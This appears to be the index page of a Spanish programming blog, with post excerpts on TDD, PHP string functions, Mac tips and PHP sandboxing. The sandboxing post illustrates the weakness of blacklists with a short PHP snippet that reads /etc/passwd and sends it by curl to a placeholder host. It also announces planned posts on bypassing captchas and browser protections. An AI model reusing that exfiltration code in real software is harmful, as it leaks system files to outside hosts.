Amagos de regresión para valorar la metodología actual y otras cosas

Llevo ya bastantes meses utilizando TDD. La verdad es que mi experiencia con el TDD aunque no siempre ha sido completa (en algunos proyectos, especialmente los antiguos que me tocó hacer el unittesting a posteriori, ha sido altamente positiva. Hay ya muchos artículos sobre las bondades del unittesting y no quiero que este sea uno más.

Lo que me gustaría comentar aquí es algo más genérico y que en ocasiones no hacemos demasiado.

El TDD está muy bien, y a bote pronto se pueden decir muchos motivos de por qué. La norma general al no haber usado nunca el Desarrollo Dirigido a Tests es escepticismo y pensar que se pierde más tiempo del que se gana. No es hasta cuando te decides y lo pruebas en un proyecto real en serio, hasta que te das cuenta de que funciona. No importa lo mucho que te digan que eso es así. Hay que probarlo.

Si modificas tu framework de trabajo, empiezas a utilizar alguna librería o tecnología nueva, si te funciona es fácil que empieces a olvidar la forma de trabajar de antes, las APIs de antes, las tecnologías anteriores. Evolucionar está bien, pero olvidar no tanto.

He aprovechado parte de esta semana en utilizar la metodología de trabajo que utilizaba antes del TDD. En este caso sabía lo que podía esperar del experimento: diseñaría la arquitectura antes de montarla, y luego me pondría a picar código como un descosido. Al principio bien, pero luego me encontraría con cosas difíciles de probar manualmente o con las que perdía mucho tiempo, bugs y problemas. Los iría corrigiendo, me daría cuenta de que había cosas que no funcionaban exáctamente igual como las había pensado y habría escrito código que me tocaría tirar a la basura. Además de que cada cambio que hiciese sometería a gran parte del sistema a tests manuales para evitar que petase el asunto.

El horror. Tenía el 90% de la funcionalidad al 2º día. Y he estado el resto de días corrigiendo errores, viendo que había cosas que no había planteado bien, etc. etc.
Acabé muy agobiado y estresado y no conseguí terminarlo.

Ayer me puse ya a montar tests. Vi que lo había montado de una forma que me permitía hacer los tests con mayor facilidad que antes de empezar a hacer TDD, pero que aun así había cosas con las que no podía hacer TDD directamente. Eran difíciles de testear y por lo tanto difíciles de mantener y de seguir. Tardé varias horas en montar los tests, con los tests montados, probar la funcionalidad era cuestión de pulsar un botón. Si rompía algo me enteraba al momento. Hice el 10% infernal que no había podido hacer en varios días en un par de horas, entretenido y sin agobio alguno.

A mí esta experiencia me ha servido para valorar aún más la metodología TDD. Me ha servido para ver que tras haber usado TDD el código que escribo, sin ser perfecto, ha aumentado en calidad y en capacidad de mantenimiento.

En el caso del TDD no he encontrado nada que me hiciese volver para atrás parte de mi forma de pensar. Pero estoy seguro que con algunas tecnologías después de haberlas estado usando un tiempo y viciado con su forma de funcionar, podría replantearme ciertas cosas al hacer una retrospectiva tecnológica.

“Echa un breve vistazo hacia atrás antes de pensar cómo seguir hacia delante.”

Me gustaría también comentar otra cosa. Me regalaron para reyes los libros “El libro negro del emprendedor” y “Vivir sin jefe”. Son dos libros que recomiendo enérgicamente a cualquiera; independientemente de que sean emprendedores o de que no. Habrán también ya artículos sobre estos dos libros y otros similares, así que no voy a hablar sobre ellos demasiado.

Simplemente quería dejar por escrito mi intención de hacer una segunda lectura de estos libros, extrayendo las ideas que considero claves. Especialmente las áreas donde tengo que mejorar.

Seguridad interna, autoestima, integridad, constancia y tranquilidad, antifrustración ante las dependencias ajenas, barbecho, la clave está en los detalles, los errores y los imprevistos no son malos sino sabias lecciones, levantarse las veces que haga falta, control de gestión de recursos, adaptación, renovación e integración contínua y perfecta ante cualquier molde y situación (be water my friend), equilibrio entre desarrollo y beneficio, excelencia técnica y profesional, puntualidad, meta-reflexión periódica, experiencias nuevas y estimulantes para el desarrollo personal y la eliminación de los prejuicios.

Ayer también vi “La Red Social”. Como frikazo me gustó bastante, pero aún sin ello considero que es una muy buena película que vale la pena ver.

Leer más...

PHP: Programación funcional II : Operaciones sobre cadenas

Hoy he tenido que hacer bastantes conversiones de base64 y me he hecho un pequeño .bat usando PHP para solventar el tema:

base64_decode.bat  
@echo off  
@%~dp0\php.exe -r"$data = base64_decode('%1'); $data_hex = unpack('H*', $data); echo 'HEX:\'', strtoupper(implode(' ', str_split($data_hex[1], 2))), \"'\n\"; echo 'BIN:\'', $data, \"'\n\";"
C:\>base64_decode SG9sYSBtdW5kbw==  
HEX:'48 6F 6C 61 20 6D 75 6E 64 6F'  
BIN:'Hola mundo'

El caso es que la última vez que escribí sobre programación funcional en php, no me había planteado en usarlo con cadenas nunca.

Como las funciones array_map, array_filter, array_reduce y similares trabajan con arrays, no se pueden aplicar a cadenas directamente.

Ahí es donde entra en juego la función str_split.
Para poder utilizar cadenas con las funciones de arrays, hay que convertir la cadena en un array primero. Con str_split se puede colocar grupos de caracteres de una cadena en un array.
Luego mediante la función implode podemos juntar el array resultante de la forma que nos interese.

Separar caracteres de dos en dos dejando un espacio entre ellos.

php -r"echo strtoupper(implode(' ', str_split('0102030405', 2)));"  
01 02 03 04 05  

Eliminar caracteres no imprimibles de una salida.

php -r"echo implode('', array_filter(str_split(\"Hello world\1\2\3\x10\x19test\", 1), 'ctype_print'));"  
Hello worldtest  

Reemplazar caracteres no imprimibles por otro caracter (‘?’) en una salida :

php -r"echo implode('', array_map(function($v) { return ctype_print($v) ? $v : '?'; }, str_split(\"Hello world\1\2\3\x10\x19test\", 1)));"  
Hello world?????test  

Leer más...

Mac desde Windows

Este post lo iré actualizando poco a poco.

Recientemente he adquirido un Mac Mini. Voy a aprovechar que no tengo ni idea, para intentar dar algo de luz a base de mi tiempo perdido a las personas que vengan de Windows.

Aquí iré colocando cosas interesantes que descubra de Mac (tanto a nivel de software como de hardware) yo que he usado toda la vida Windows.

Hardware

Ratón de cable

El cable del ratón se me antojaba corto. Hasta que descubrí que el teclado tenía un par de conectores USB en los laterales.
Pulsase donde pulsase en el ratón era como hacer click izquierdo, para hacer click derecho tenía que pulsar la tecla “ctrl”. Hasta que descubrí que en opciones puedes configurar el uso de cada uno de los botones del ratón. Cambiar la velocidad y permitir scroll con la rueda de 360º.

Teclado de cable

El teclado tiene dos conectores usb laterales además de un alargador.

Software

Mac ports

Necesitaba instalar la utilidad “lzma”.

sudo port install lzma

Codecs

Codecs tradicionales + WMA y WMV.

Leer más...

Pruebecita de fuegos artificiales en flash

Anoche hice un pequeño prototipo de simulador (con sus fallos y sin ser todavía todo lo rápido que debería) de fuegos artificiales usando flash para una cosa que quiero hacer. Y ya puestos me gustaría enseñarlo y comentar algunas cosas que considero interesantes.

Explicación y demo en flash tras el salto.

Leer más...

Protecciones en PHP y utilidad de SandBox (II)

En el post anterior hablé sobre protecciones en PHP y una utilidad de SandBox que monté. Sin embargo me dejé algunas cosas en el tintero que me gustaría comentar ahora.

En PHP hay dos extensiones interesantes relacionadas con este tema: Parsekit y runkit.

La extensión parsekit nos permite obtener los opcodes que se obtendrían al compilar un archivo PHP. En mi caso la he utilizado en alguna ocasión para medir la calidad del código generado a nivel de opcode. Todavía tengo que verificar si permite cargar archivos ya compilado.

La extensión runkit nos permite cambiar elementos en tiempo de ejecución: eliminar, añadir y modificar constantes, funciones y métodos. También permite configurar el allow_url_fopen, permitir eval y el blacklisting de funciones y clases.

Y ahí era donde quería yo llegar: la inseguridad del blacklisting.

  • El blacklist consiste en eliminar unos elementos concretos de la lista considerando esos elementos como inseguros y el resto como seguros. (Menos restrictivo)
  • El whitelist consiste en permitir solo los elementos que consideras seguros. (Más restrictivo)

Me he encontrado con gente que cree que el allow_url_fopen de PHP impide que se pueda acceder a contenido remoto y que no se podía acceder a la red con esa configuración deshabilitada. Sí, sí que se puede.

Imaginemos que un script que estamos intentando ejecutar hiciese algo así:

// With allow_fopen = Off and curl or other extensions.  
if ($_SERVER['HTTP_HOST'] != 'localhost') {  
    $passwd = file_get_contents('/etc/passwd');  
    curl_exec(curl_init("http://recvhost/" . http_build_query('passwd' => $passwd)));  
}  

Quien dice hacer eso, dice hacer otro tipo de cosas.

Puedes bloquear todas las funciones que se te ocurran, todas las clases que se te ocurran, que con que haya una extensión que no recuerdes o con que haya una nueva versión de PHP que incluya una serie de funciones nuevas que haga IO directo o indiercto, “l’has cagao”. El blacklisting hace que la actualización de los sistemas se vuelva un queso gruller de la seguridad.

En este caso la extensión runkit no nos podría ayudar a evitar código malintencionado mientras estamos haciendo pruebas. Podemos reescribir funciones, y bloquear todas las funciones que quieras, que como haya alguna que se te haya colado o se te cuele en un futuro estás en peligro haciendo estas cosas u otras. Lo mismo se podría de decir de sistemas de templates que te permiten ejecutar cualquier función o se limitan por blacklisting. Siempre whitelisting.

Hay otra forma de modificar funciones ya escritas a partir de PHP 5.3 en un contexto concreto. Y consiste en usar namespaces.

namespace test;  

function sort(&$a) {  
    \rsort($a);  
}  

function str_replace($a, $b, $c) {  
    return \str_replace(' ', '_', \str_replace($b, $a, $c));  
}  

$a = array(1,2,3,4);  
sort($a);  
echo str_replace('a', 'b', "hola, esto es una prueba\n");  
print_r($a);  

Por supuesto, esto es equivalente al blacklisting y hay que añadir lo del namespace en cada archivo (incluso en los eval dentro de archivos con namespaces). Modificando el archivo original cuando en el caso que comenté en el archivo anterior no convenía hacerlo porque se leía para extraer la información.

En otro post ya explicaré cómo usar la extensión v8js, envío de cabeceras personalizadas y cookies para saltarse ciertas protecciones hechas en javascript en los navegadores a la hora de hacer spiders o downloaders. También explicaré algunos problemas de captchas y cómo saltárselos y cómo funcionan algunos OCRs para captchas.

En el post anterior se me olvidó embeber un ejemplo de código del Sandboxer que monté que permite definir whitelisting y redefinir las funciones que interesen (como fopen para habilitar solo lectura):

$sandboxer = new Sandboxer();  
$sandboxer->registerErrorHandlers();  
$sandboxer->register('base64_decode');  
$sandboxer->register('urldecode');  
$sandboxer->register('fopen', function($name, $type) {  
    if ($type != 'rb') throw(new SandboxerException("Unexpected fopen type"));  
    return fopen($name, 'rb');  
});  
$sandboxer->register('fread');  
$sandboxer->register('fclose');  
$sandboxer->register('strtr');  
$sandboxer->register('preg_match');  
$sandboxer->register('str_replace');  
$sandboxer->register('die', function($v) {  
    die($v);  
});  

try {  
    $sandboxer->execute_file($file_to_execute);  
} catch (SandboxerException $e) {  
    printf("Exception: %s\n", $e->getMessage());  
}  

echo '<' . '?php ' . $sandboxer->unprocessed_code;  

Comentar que el fopen modificado para ser seguro del todo debería verificar que no se usasen wrappers (tipo http:// y similares). En mi caso no me hizo falta porque estuve ejecutando el código en una máquina virtual desconectada de Internet. Siendo una máquina virtual tampoco se habría acabado el mundo si se hubiese escrito algún archivo, pero me habría hecho perder tiempo restaurándola.

Leer más...

Suscribirse via RSS